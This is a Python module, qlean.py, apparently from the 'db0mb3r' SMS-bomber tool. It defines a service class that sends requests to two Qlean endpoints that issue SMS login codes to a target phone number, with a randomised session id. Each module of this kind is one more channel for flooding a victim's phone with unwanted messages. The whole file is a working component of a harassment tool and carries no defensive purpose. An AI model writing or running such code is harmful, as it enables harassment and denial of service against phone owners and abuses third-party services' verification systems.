qlean.py 646 B

123456789101112131415161718192021
  1. from random import randint
  2. from db0mb3r.services.service import Service
  3. class Qlean(Service):
  4. async def run(self):
  5. await self.post(
  6. "https://qlean.ru/clients-api/v2/sms_codes/auth/request_code",
  7. json={"phone": self.formatted_phone},
  8. )
  9. await self.get(
  10. "https://sso.cloud.qlean.ru/http/users/requestotp",
  11. headers={"Referer": "https://qlean.ru/sso?redirectUrl=https://qlean.ru/"},
  12. params={
  13. "phone": self.formatted_phone,
  14. "clientId": "undefined",
  15. "sessionId": str(randint(5000, 9999)),
  16. },
  17. )